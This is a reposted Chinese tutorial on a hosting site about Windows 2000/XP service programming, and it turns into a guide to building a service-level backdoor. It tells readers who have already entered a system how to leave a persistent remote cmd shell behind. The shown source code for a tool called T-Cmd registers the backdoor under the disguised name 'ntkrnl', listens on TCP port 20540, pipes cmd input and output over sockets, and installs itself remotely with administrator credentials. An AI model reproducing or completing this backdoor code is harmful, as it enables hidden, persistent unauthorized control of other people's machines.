手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>网站运营>建站经验>列表

浅析Windows 2000/XP服务和后门技术

来源:互联网 作者:west263.com 时间:2008-04-16
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

  服务ServiceMain函数:函数ServiceMain是服务的入口点。在服务控制程式请求一个新的服务启动时,服务控制管理器启动一个服务,并发送一个开始请求到控制调度程式,而后控制调度程式创建一个新线程来执行ServiceMain函数。ServiceMain须执行以下的任务:调用RegisterServiceCtrlHandler函数注册一个HandlerEx函数来向服务发送控制请求信息,返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调用SetServiceStatus函数配置服务状态为SERVICE_RUNNING。最后,就是执行服务所要完成的任务。

  服务Control Handler函数:每个服务都有一个控制句柄HandlerEx函数。他会在服务进程从服务控制程式接收到一个控制请求时被控制调度程式所调用。无论何时在HandlerEx函数被调用时,都要调用SetServiceStatus函数向服务控制管理器报告他当前的状态。在用户关闭系统时,任何的控制句柄都会调用带有SERVICE_ACCEPT_SHUTDOW控制代码的SetServiceStatus函数来接收NSERVICE_CONTROL_SHUTDOWN控制代码。

  3.服务配置程式

  服务配置程式能够更改或查询服务的当前配置信息。在调用服务配置函数之前,必须获得一个服务对象的句柄,当然我们能够通过调用OpenSCManager,OpenService或CreateService函数来获得。

  创建,删除服务:服务配置程式使用CreateService函数在服务控制管理器的数据库中安装一个新服务,他会提供服务的名称和相关的配置信息并存储在数据库中。服务配置程式则使用DeleteService函数从数据库中删除一个已安装的服务。

  四、服务级后门技术

  在您进入某个系统后,往往会为自己留下一个或多个后门,以便今后的访问。在上传一个后门程式到远程系统上后系统重启之时,总是希望后门仍然存在。那么,将后门程式创建成服务程式应该是个不错的想法,这就是利用了服务程式自动运行的机制,当然在Windows2000的任务管理器里也很难结束一个服务程式的进程。

  创建一个后门,他常常会在一个端口监听,以方便我们使用TCP/UDP协议和远程主机建立连接,所以我们首先需要在后门程式里创建一个监听的端口,为了数据传输的稳定和安全,我们能够使用TCP协议。

  那么,我们如何才能模拟一个Telnet服务似的后门呢?我想大家都清楚,假如在远程主机上有一个Cmd是我们能够控制的,也就是我们能够在这个Cmd里执行命令,那么就能够实现对远程主机的控制了,至少能够执行各种常规的系统命令。启动一个Cmd程式的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因为WinExec和ShellExecute他们实在太简单了。在使用CreateProcess时,要用到他的重定向标准输入/输出的选项功能,把在本地主机的输入重定向输入到远程主机的Cmd进程,并且把远程主机Cmd进程的标准输出重定向到本地主机的标准输出。这就需要在后门程式里使用CreatePipe创建两个管道来实现进程间的数据通信(Inter-Process Communication,IPC)。当然,还必须将远程主机上Cmd的标准输入和输出在本地主机之间进行传送,我们选择TCP协议的send和recv函数。在客户结束访问后,还要调用TerminateProcess来结束创建的Cmd进程。

  五、关键函数分析

  本文相关程式T-Cmd v1.0是个服务级的后门程式,适用平台为Windows2000/XP。他可自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程式仍然自动运行,监听端口20540/tcp。

  1.自定义数据结构和函数

typedef struct
{
HANDLE hPipe;
//为实现进程间通信而使用的管道;
SOCKET sClient;
//和客户端进行通信时的客户端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd标准输入/输出时使用的数据结构;

typedef struct PROCESSDATA
{
HANDLE hProcess;
//创建Cmd进程时获得的进程句柄;
DWORD dwProcessId;
//创建Cmd进程时获得的进程标识符;
struct PROCESSDATA *next;
//指向下一个数据结构的指针;
}PROCESSDATA,*PPROCESSDATA;
//在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;

void WINAPI CmdStart(DWORD,LPTSTR *);
//服务程式中的“ServiceMain”:注册服务控制句柄,创建服务主线程;
void WINAPI CmdControl(DWORD);
//服务程式中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程;
DWORD WINAPI CmdService(LPVOID);
//服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程;
DWORD WINAPI CmdShell(LPVOID);
//创建管道和Cmd进程,及Cmd的输入/输出线程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的输出,读取信息后发送到客户端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的输入,接收客户端的信息输入到Cmd进程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//假如选择远程模式,则须和远程主机建立连接,注须提供管理员权限的用户名和密码,密码为空时用"NULL"代替;
void InstallCmdService(char *);
//复制传送文档,打开服务控制管理器,创建或打开服务程式;
void RemoveCmdService(char *);
//删除文档,停止服务后,卸载服务程式;


  2.服务程式相关函数

SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服务程式的名称和入口点;
{NULL ,NULL }
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束;
};
StartServiceCtrlDispatcher(DispatchTable);
//连接服务控制管理器,开始控制调度程式线程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注册CmdControl函数为“HandlerEx”函数,并初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//配置服务的当前状态为SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//创建服务主线程,实现后门功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局变量的同步使用;

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!